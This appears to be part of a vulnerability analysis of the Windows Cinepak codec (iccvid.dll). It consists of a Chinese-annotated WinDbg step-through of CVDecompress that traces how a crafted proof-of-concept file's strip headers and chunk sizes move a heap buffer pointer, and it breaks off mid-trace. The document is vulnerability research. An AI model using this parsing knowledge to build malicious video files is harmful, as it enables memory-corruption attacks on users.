eip=73b722d1 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x123:
73b722d1 8b7df4 mov edi,dword ptr [ebp-0Ch] ss:0023:025afd24=00ba6912 ; edi = [ebp-0Ch] = 0x00ba6912,指向第2个Strip Header
0:013> p
eax=00002000 ebx=001535b0 ecx=00000000 edx=025afd38 esi=00ba6912 edi=00ba6912
eip=73b722d4 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x126:
73b722d4 8b4320 mov eax,dword ptr [ebx+20h] ds:0023:001535d0=001535f8 ; ebx = a1 = 0x001535b0,eax = 0x001535f8,堆块数据区域首指针
0:013> p
eax=001535f8 ebx=001535b0 ecx=00000000 edx=025afd38 esi=00ba6912 edi=00ba6912
eip=73b722d7 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x129:
73b722d7 83c70c add edi,0Ch ; edi = edi+0xC = 0x00ba691e,指向第2个CVID Chunk ID
0:013> p
eax=001535f8 ebx=001535b0 ecx=00000000 edx=025afd38 esi=00ba6912 edi=00ba691e
eip=73b722da esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x12c:
73b722da 0345fc add eax,dword ptr [ebp-4] ss:0023:025afd2c=00002000 ; eax = 0x001555f8,堆块数据区域指针增加0x2000
0:013> p
eax=001555f8 ebx=001535b0 ecx=00000000 edx=025afd38 esi=00ba6912 edi=00ba691e
eip=73b722dd esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x12f:
73b722dd 8d4e0c lea ecx,[esi+0Ch] ; ecx = esi+0xC = 0x00ba691e,指向第2个CVID Chunk ID
0:013> p
eax=001555f8 ebx=001535b0 ecx=00ba691e edx=025afd38 esi=00ba6912 edi=00ba691e
eip=73b722e0 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x132:
73b722e0 894338 mov dword ptr [ebx+38h],eax ds:0023:001535e8=001535f8 ; [ebx+38h] = eax = 0x001555f8,堆块数据区域指针增加0x2000
0:013> p
eax=001555f8 ebx=001535b0 ecx=00ba691e edx=025afd38 esi=00ba6912 edi=00ba691e
eip=73b722e3 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x135:
73b722e3 8b4520 mov eax,dword ptr [ebp+20h] ss:0023:025afd50=00000540 ; eax = a7 = 0x540
0:013> p
eax=00000540 ebx=001535b0 ecx=00ba691e edx=025afd38 esi=00ba6912 edi=00ba691e
eip=73b722e6 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x138:
73b722e6 894de8 mov dword ptr [ebp-18h],ecx ss:0023:025afd18=00ba6912 ; [ebp-18h] = ecx = 00ba691e,指向第2个CVID Chunk ID
0:013> p
eax=00000540 ebx=001535b0 ecx=00ba691e edx=025afd38 esi=00ba6912 edi=00ba691e
eip=73b722e9 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x13b:
73b722e9 89433c mov dword ptr [ebx+3Ch],eax ds:0023:001535ec=00000540 ; ebx = a1 = 0x001535b0,[ebx+3Ch] = eax = a7 = 0x540
0:013> p
eax=00000540 ebx=001535b0 ecx=00ba691e edx=025afd38 esi=00ba6912 edi=00ba691e
eip=73b722ec esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x13e:
73b722ec e9be000000 jmp iccvid!CVDecompress+0x201 (73b723af) ;
0:013> p
eax=00000540 ebx=001535b0 ecx=00ba691e edx=025afd38 esi=00ba6912 edi=00ba691e
eip=73b723af esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x201:
73b723af 837d0804 cmp dword ptr [ebp+8],4 ss:0023:025afd38=00000004 ; 判断Size of strip data减去Strip Header大小后的数据大小是否大于等于4
0:013> p
eax=00000540 ebx=001535b0 ecx=00ba691e edx=025afd38 esi=00ba6912 edi=00ba691e
eip=73b723b3 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x205:
73b723b3 0f8338ffffff jae iccvid!CVDecompress+0x143 (73b722f1) [br=1] ; 大于等于则跳转,这里跳转
0:013> p
eax=00000540 ebx=001535b0 ecx=00ba691e edx=025afd38 esi=00ba6912 edi=00ba691e
eip=73b722f1 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x143:
73b722f1 0fb64103 movzx eax,byte ptr [ecx+3] ds:0023:00ba6921=41 ; ecx = 0x00ba691e,指向第2个CVID Chunk ID,eax = 0x41,Size of chunk data的低位字节
0:013> p
eax=00000041 ebx=001535b0 ecx=00ba691e edx=025afd38 esi=00ba6912 edi=00ba691e
eip=73b722f5 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x147:
73b722f5 33d2 xor edx,edx ; edx = edx^edx = 0x00000000
0:013> p
eax=00000041 ebx=001535b0 ecx=00ba691e edx=00000000 esi=00ba6912 edi=00ba691e
eip=73b722f7 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x149:
73b722f7 8a7101 mov dh,byte ptr [ecx+1] ds:0023:00ba691f=41 ; dh = 0x41,第2个CVID Chunk ID的低位字节
0:013> p
eax=00000041 ebx=001535b0 ecx=00ba691e edx=00004100 esi=00ba6912 edi=00ba691e
eip=73b722fa esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x14c:
73b722fa 8a5102 mov dl,byte ptr [ecx+2] ds:0023:00ba6920=41 ; dl = 0x41,Size of chunk data的高位字节
0:013> p
eax=00000041 ebx=001535b0 ecx=00ba691e edx=00004141 esi=00ba6912 edi=00ba691e
eip=73b722fd esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x14f:
73b722fd c1e208 shl edx,8 ; edx = 0x00414100,左移8位
0:013> p
eax=00000041 ebx=001535b0 ecx=00ba691e edx=00414100 esi=00ba6912 edi=00ba691e
eip=73b72300 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x152:
73b72300 0bd0 or edx,eax ; 以大端读取Size of chunk data
0:013> p
eax=00000041 ebx=001535b0 ecx=00ba691e edx=00414141 esi=00ba6912 edi=00ba691e
eip=73b72302 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x154:
73b72302 395508 cmp dword ptr [ebp+8],edx ss:0023:025afd38=00000004 ; 判断Size of strip data减去Strip Header大小后的数据大小是否小于Size of chunk data
0:013> p
eax=00000041 ebx=001535b0 ecx=00ba691e edx=00414141 esi=00ba6912 edi=00ba691e
eip=73b72305 esp=025afd04 ebp=025afd30 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
iccvid!CVDecompress+0x157:
73b72305 8955e0 mov dword ptr [ebp-20h],edx ss:0023:025afd10=00000000 ; [ebp-20h] = edx = 0x00414141,Size of chunk data
0:013> p
eax=00000041 ebx=001535b0 ecx=00ba691e edx=00414141 esi=00ba6912 edi=00ba691e
eip=73b72308 esp=025afd04 ebp=025afd30 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
iccvid!CVDecompress+0x15a:
73b72308 0f82ab000000 jb iccvid!CVDecompress+0x20b (73b723b9) [br=1] ; 小于则跳转,这里跳转
0:013> p
eax=00000041 ebx=001535b0 ecx=00ba691e edx=00414141 esi=00ba6912 edi=00ba691e
eip=73b723b9 esp=025afd04 ebp=025afd30 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
iccvid!CVDecompress+0x20b:
73b723b9 0fbf450c movsx eax,word ptr [ebp+0Ch] ss:0023:025afd3c=0000 ; eax = a2 = 0x0000 = (Strips bottom Y position)-(Strips top Y position)
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba691e edx=00414141 esi=00ba6912 edi=00ba691e
eip=73b723bd esp=025afd04 ebp=025afd30 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
iccvid!CVDecompress+0x20f:
73b723bd 0faf4520 imul eax,dword ptr [ebp+20h] ss:0023:025afd50=00000540 ; eax = 0x00000000,a7 = 0x540
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba691e edx=00414141 esi=00ba6912 edi=00ba691e
eip=73b723c1 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x213:
73b723c1 01451c add dword ptr [ebp+1Ch],eax ss:0023:025afd4c=0232f850 ; [(Strips bottom Y position)-(Strips top Y position)]*a7+a6,a6 = 0x0232f850
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba691e edx=00414141 esi=00ba6912 edi=00ba691e
eip=73b723c4 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x216:
73b723c4 ff45ec inc dword ptr [ebp-14h] ss:0023:025afd1c=00000001 ; [ebp-14h]++,coded strip计数器,[ebp-14h] = 0x2
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba691e edx=00414141 esi=00ba6912 edi=00ba691e
eip=73b723c7 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x219:
73b723c7 8145fc00200000 add dword ptr [ebp-4],2000h ss:0023:025afd2c=00002000 ; [ebp-4] = [ebp-4]+0x2000 = 0x4000,堆缓冲区指针偏移
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba691e edx=00414141 esi=00ba6912 edi=00ba691e
eip=73b723ce esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x220:
73b723ce 33ff xor edi,edi ; edi = edi^edi = 0x00000000
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba691e edx=00414141 esi=00ba6912 edi=00000000
eip=73b723d0 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x222:
73b723d0 8b45f8 mov eax,dword ptr [ebp-8] ss:0023:025afd28=00000010 ; eax = [ebp-8] = 0x10,Size of strip data
0:013> p
eax=00000010 ebx=001535b0 ecx=00ba691e edx=00414141 esi=00ba6912 edi=00000000
eip=73b723d3 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x225:
73b723d3 0145f4 add dword ptr [ebp-0Ch],eax ss:0023:025afd24=00ba6912 ; [ebp-0Ch] = 0x00ba6912+0x10 = 0x00ba6922,指向第3个Strip Header,eax为Size of strip data
0:013> p
eax=00000010 ebx=001535b0 ecx=00ba691e edx=00414141 esi=00ba6912 edi=00000000
eip=73b723d6 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x228:
73b723d6 2945f0 sub dword ptr [ebp-10h],eax ss:0023:025afd20=0000004e ; [ebp-10h] = 3e,[ebp-10h]为未解压缩的数据长度,开始时等于PoC中cinepak_codec_data2和idx_tag字节数之和,这里算出剩余未解压缩的数据长度
0:013> p
eax=00000010 ebx=001535b0 ecx=00ba691e edx=00414141 esi=00ba6912 edi=00000000
eip=73b723d9 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x22b:
73b723d9 03f0 add esi,eax ; esi指向第2个Strip Header,eax为Size of strip data,这里移动数据指针,指向第3个Strip Header
0:013> p
eax=00000010 ebx=001535b0 ecx=00ba691e edx=00414141 esi=00ba6922 edi=00000000
eip=73b723db esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x22d:
73b723db 8b45e4 mov eax,dword ptr [ebp-1Ch] ss:0023:025afd14=00000010 ; eax = [ebp-1Ch] = 0x10,Number of coded strips
0:013> p
eax=00000010 ebx=001535b0 ecx=00ba691e edx=00414141 esi=00ba6922 edi=00000000
eip=73b723de esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x230:
73b723de 3945ec cmp dword ptr [ebp-14h],eax ss:0023:025afd1c=00000002 ; [ebp-14h]为coded strips计数器,eax为Number of coded strips
0:013> p
eax=00000010 ebx=001535b0 ecx=00ba691e edx=00414141 esi=00ba6922 edi=00000000
eip=73b723e1 esp=025afd04 ebp=025afd30 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
iccvid!CVDecompress+0x233:
73b723e1 8975e8 mov dword ptr [ebp-18h],esi ss:0023:025afd18=00ba691e ; [ebp-18h] = esi = 0x00ba6922,指向第3个Strip Header
0:013> p
eax=00000010 ebx=001535b0 ecx=00ba691e edx=00414141 esi=00ba6922 edi=00000000
eip=73b723e4 esp=025afd04 ebp=025afd30 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
iccvid!CVDecompress+0x236:
73b723e4 0f8c59feffff jl iccvid!CVDecompress+0x95 (73b72243) [br=1] ; 小于则跳转,这里跳转

----------------------------------------------------------------------------------------------------------------------------

0:013> p
eax=00000010 ebx=001535b0 ecx=00ba691e edx=00414141 esi=00ba6922 edi=00000000
eip=73b72243 esp=025afd04 ebp=025afd30 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
iccvid!CVDecompress+0x95:
73b72243 8b45f0 mov eax,dword ptr [ebp-10h] ss:0023:025afd20=0000003e ; [ebp-10h]为剩余未解压缩的数据长度
0:013> p
eax=0000003e ebx=001535b0 ecx=00ba691e edx=00414141 esi=00ba6922 edi=00000000
eip=73b72246 esp=025afd04 ebp=025afd30 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
iccvid!CVDecompress+0x98:
73b72246 83f816 cmp eax,16h ; 判断未解压的数据长度是否小于0x16
0:013> p
eax=0000003e ebx=001535b0 ecx=00ba691e edx=00414141 esi=00ba6922 edi=00000000
eip=73b72249 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x9b:
73b72249 0f829b010000 jb iccvid!CVDecompress+0x23c (73b723ea) [br=0] ; 小于则跳转,这里不跳转
0:013> p
eax=0000003e ebx=001535b0 ecx=00ba691e edx=00414141 esi=00ba6922 edi=00000000
eip=73b7224f esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0xa1:
73b7224f 0fb65603 movzx edx,byte ptr [esi+3] ds:0023:00ba6925=10 ; edx = 0x10,第3个Size of strip data的低位字节
0:013> p
eax=0000003e ebx=001535b0 ecx=00ba691e edx=00000010 esi=00ba6922 edi=00000000
eip=73b72253 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0xa5:
73b72253 33c9 xor ecx,ecx ; ecx = ecx^ecx = 0x00000000
0:013> p
eax=0000003e ebx=001535b0 ecx=00000000 edx=00000010 esi=00ba6922 edi=00000000
eip=73b72255 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xa7:
73b72255 8a6e01 mov ch,byte ptr [esi+1] ds:0023:00ba6923=00 ; ch = 0x00,第3个Strip CVID ID的低位字节
0:013> p
eax=0000003e ebx=001535b0 ecx=00000000 edx=00000010 esi=00ba6922 edi=00000000
eip=73b72258 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xaa:
73b72258 8a4e02 mov cl,byte ptr [esi+2] ds:0023:00ba6924=00 ; cl = 0x00,第3个Size of strip data的高位字节
0:013> p
eax=0000003e ebx=001535b0 ecx=00000000 edx=00000010 esi=00ba6922 edi=00000000
eip=73b7225b esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xad:
73b7225b c1e108 shl ecx,8 ; ecx = 0x00000000,左移8位
0:013> p
eax=0000003e ebx=001535b0 ecx=00000000 edx=00000010 esi=00ba6922 edi=00000000
eip=73b7225e esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xb0:
73b7225e 0bca or ecx,edx ; 以大端读取Size of strip data
0:013> p
eax=0000003e ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6922 edi=00000000
eip=73b72260 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0xb2:
73b72260 3bc1 cmp eax,ecx ; 判断剩余未解压缩的数据长度是否大于Size of strip data
0:013> p
eax=0000003e ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6922 edi=00000000
eip=73b72262 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0xb4:
73b72262 894df8 mov dword ptr [ebp-8],ecx ss:0023:025afd28=00000010 ; [ebp-8] = ecx = 0x10,Size of strip data
0:013> p
eax=0000003e ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6922 edi=00000000
eip=73b72265 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0xb7:
73b72265 0f827f010000 jb iccvid!CVDecompress+0x23c (73b723ea) [br=0] ; 小于则跳转,这里不跳转
0:013> p
eax=0000003e ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6922 edi=00000000
eip=73b7226b esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0xbd:
73b7226b 8a06 mov al,byte ptr [esi] ds:0023:00ba6922=11 ; al = 0x11,Strip CVID ID的高位字节
0:013> p
eax=00000011 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6922 edi=00000000
eip=73b7226d esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0xbf:
73b7226d 3c10 cmp al,10h ; 判断Strip CVID ID的高位字节是否为0x10
0:013> p
eax=00000011 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6922 edi=00000000
eip=73b7226f esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0xc1:
73b7226f 7408 je iccvid!CVDecompress+0xcb (73b72279) [br=0] ; 相等则跳转,这里不跳转
0:013> p
eax=00000011 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6922 edi=00000000
eip=73b72271 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0xc3:
73b72271 3c11 cmp al,11h ; 判断Strip CVID ID的高位字节是否为0x11
0:013> p
eax=00000011 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6922 edi=00000000
eip=73b72273 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xc5:
73b72273 0f8557010000 jne iccvid!CVDecompress+0x222 (73b723d0) [br=0] ; 不相等则跳转,这里不跳转
0:013> p
eax=00000011 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6922 edi=00000000
eip=73b72279 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xcb:
73b72279 8d4508 lea eax,[ebp+8] ; eax = 0x025afd38,a1地址,a1 = 0x001535b0
0:013> p
eax=025afd38 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6922 edi=00000000
eip=73b7227c esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xce:
73b7227c 50 push eax ; arg3 = eax = 0x025afd38,保存Size of strip data减去Strip Header大小后的数据大小
0:013> p
eax=025afd38 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6922 edi=00000000
eip=73b7227d esp=025afd00 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xcf:
73b7227d 6a0c push 0Ch ; arg2 = 0xC,Strip Header大小
0:013> p
eax=025afd38 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6922 edi=00000000
eip=73b7227f esp=025afcfc ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xd1:
73b7227f ff75f8 push dword ptr [ebp-8] ss:0023:025afd28=00000010 ; arg1 = 0x10,Size of strip data
0:013> p
eax=025afd38 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6922 edi=00000000
eip=73b72282 esp=025afcf8 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xd4:
73b72282 e8fffeffff call iccvid!ULongSub (73b72186) ; 如果arg1>=arg2,则返回0,且计算出Size of strip data减去Strip Header的大小后,剩余的数据大小,否则返回一个负数
0:013> p
eax=00000000 ebx=001535b0 ecx=00000004 edx=025afd38 esi=00ba6922 edi=00000000
eip=73b72287 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xd9:
73b72287 85c0 test eax,eax ; eax = 0x0
0:013> p
eax=00000000 ebx=001535b0 ecx=00000004 edx=025afd38 esi=00ba6922 edi=00000000
eip=73b72289 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xdb:
73b72289 0f8c65010000 jl iccvid!CVDecompress+0x246 (73b723f4) [br=0] ; 小于则跳转,这里不跳转
0:013> p
eax=00000000 ebx=001535b0 ecx=00000004 edx=025afd38 esi=00ba6922 edi=00000000
eip=73b7228f esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xe1:
73b7228f 33c0 xor eax,eax ; eax = eax^eax = 0x00000000
0:013> p
eax=00000000 ebx=001535b0 ecx=00000004 edx=025afd38 esi=00ba6922 edi=00000000
eip=73b72291 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xe3:
73b72291 8a6608 mov ah,byte ptr [esi+8] ds:0023:00ba692a=41 ; ah = 0x41,Strips bottom Y position的高位字节
0:013> p
eax=00004100 ebx=001535b0 ecx=00000004 edx=025afd38 esi=00ba6922 edi=00000000
eip=73b72294 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xe6:
73b72294 33c9 xor ecx,ecx ; ecx = ecx^ecx = 0x00000000
0:013> p
eax=00004100 ebx=001535b0 ecx=00000000 edx=025afd38 esi=00ba6922 edi=00000000
eip=73b72296 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xe8:
73b72296 8a6e04 mov ch,byte ptr [esi+4] ds:0023:00ba6926=41 ; ch = 0x41,Strips top Y position的高位字节
0:013> p
eax=00004100 ebx=001535b0 ecx=00004100 edx=025afd38 esi=00ba6922 edi=00000000
eip=73b72299 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xeb:
73b72299 8a4609 mov al,byte ptr [esi+9] ds:0023:00ba692b=41 ; al = 0x41,Strips bottom Y position的低位字节
0:013> p
eax=00004141 ebx=001535b0 ecx=00004100 edx=025afd38 esi=00ba6922 edi=00000000
eip=73b7229c esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xee:
73b7229c 8a4e05 mov cl,byte ptr [esi+5] ds:0023:00ba6927=41 ; cl = 0x41,Strips top Y position的低位字节
0:013> p
eax=00004141 ebx=001535b0 ecx=00004141 edx=025afd38 esi=00ba6922 edi=00000000
eip=73b7229f esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xf1:
73b7229f 2bc1 sub eax,ecx ; (Strips bottom Y position)-(Strips top Y position)
0:013> p
eax=00000000 ebx=001535b0 ecx=00004141 edx=025afd38 esi=00ba6922 edi=00000000
eip=73b722a1 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xf3:
73b722a1 660faf432e imul ax,word ptr [ebx+2Eh] ds:0023:001535de=0001 ; ebx = a1 = 0x001535b0,[(Strips bottom Y position)-(Strips top Y position)]*1
0:013> p
eax=00000000 ebx=001535b0 ecx=00004141 edx=025afd38 esi=00ba6922 edi=00000000
eip=73b722a6 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0xf8:
